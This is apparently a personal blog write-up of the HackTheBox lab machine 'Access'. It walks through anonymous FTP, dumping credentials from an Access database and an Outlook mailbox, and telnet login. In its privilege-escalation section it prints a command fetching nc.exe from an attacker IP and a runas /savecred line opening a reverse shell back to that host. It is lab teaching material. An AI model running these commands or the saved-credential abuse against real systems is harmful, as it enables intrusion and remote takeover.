HTB: Access
← Back to the log
November 27, 2026·Johnytiger

HTB: Access

Anonymous FTP gives up a Microsoft Access database and an encrypted zip, an old email inside the mailbox hands over the security password for telnet, and saved Administrator credentials turn runas into an admin shell.

securityctfwriteuphacktheboxwindowsftptelnetmicrosoft accesssaved credentialsprivilege escalation

Access is a Windows box from HackTheBox. Anonymous FTP hands us a Microsoft Access database and a password-protected zip, which lead to a telnet login. From there, saved administrator credentials do the rest. Let's get into it.

Recon

As always, the first thing we do is run an nmap scan on the system.

nmap -sCV -p- -Pn 10.129.138.196 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

nmap scan of Access showing anonymous FTP on 21, Microsoft telnet on 23 and IIS 7.5 on 80 titled MegaCorp.

We have a web app on port 80, FTP on 21 with anonymous login allowed, and telnet on port 23. Let's head over to the web app and see what we have running.

The site on port 80 is a MegaCorp page titled LON-MC6 with a photo of a server room.

There's just an image of a server room with the title LON-MC6. Let's go ahead and run a directory buster to see if we can find anything.

gobuster dir -u http://10.129.138.196/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Anonymous FTP

While that is running, let's log into the FTP anonymously.

Anonymous FTP login works and the root holds two folders, Backups and Engineer.

There are 2 folders in here, Backups and Engineer. Let's check those out and download what's inside: backup.mdb from Backups and Access Control.zip from Engineer.

Dumping the Access database

backup.mdb is a Microsoft Access database. We can list its tables with mdb-tables, then loop over them and dump every one with mdb-export:

mdb-tables backup.mdb
for t in $(mdb-tables backup.mdb); do echo "=== $t ==="; mdb-export backup.mdb "$t"; done

Under auth_user we find some credentials, so let's note them down.

The auth user table dump lists the admin, engineer and backup admin accounts with their passwords.

The engineer account has the password access4u@security.

The Access Control zip

A regular unzip didn't work (the zip is AES-encrypted, which unzip doesn't support), so I used 7z:

7z x 'Access Control.zip'

It asks for a password, so let's use the one we found in the mdb file.

7z extracts Access Control.zip with the engineer password, leaving Access Control.pst next to it.

It drops us a .pst file, which is an Outlook mailbox. We can read it with readpst, which converts it to a .mbox file:

readpst 'Access Control.pst'

Let's grep that for credentials:

grep -iE 'password|temp|security|access' 'Access Control.mbox'

An email in the mbox says the password for the security account has been changed, with the new password in plaintext.

Look at that! The email says the password for the security account was changed, and it gives us the new password in plaintext: 4Cc3ssC0ntr0ller.

Telnet as security

Let's try it on the FTP first.

FTP login as security fails with 530 User cannot log in.

It didn't work. OK, let's use it on telnet:

telnet 10.129.138.196 23

Telnet login as security works and drops us into a command prompt in the security home folder.

It works, we are in the system! Let's begin to enumerate and possibly get ourselves a reverse shell.

Privesc: saved administrator credentials

Checking for stored credentials with cmdkey /list, we find saved admin credentials on the system!

cmdkey list shows a stored Domain Password credential for the ACCESS Administrator account.

Because the credential is stored, runas /savecred can use it to run any command as Administrator without us ever knowing the password. We can use this to run our reverse shell as admin.

First we pull nc.exe over:

powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.211/nc.exe','C:\Users\security\nc.exe')"

And now let's bounce that back at us and get the reverse shell:

runas /user:ACCESS\Administrator /savecred "C:\Users\security\nc.exe -e cmd.exe 10.10.14.211 4444"

The nc listener on port 4444 catches the shell from Access running Windows 6.1.7600.

We are in! Great, let's head over to the Administrator desktop and grab that root flag.

root.txt read from the Administrator desktop, flag value blurred.

Closing thoughts

This box felt pretty old school. You wouldn't find this in the wild, but who knows: a lot of corporations are still running old, outdated systems. The whole chain was credentials left lying around: a database backup, an old email and a saved admin login.

End of transmissionAll posts
Drive
Johnytiger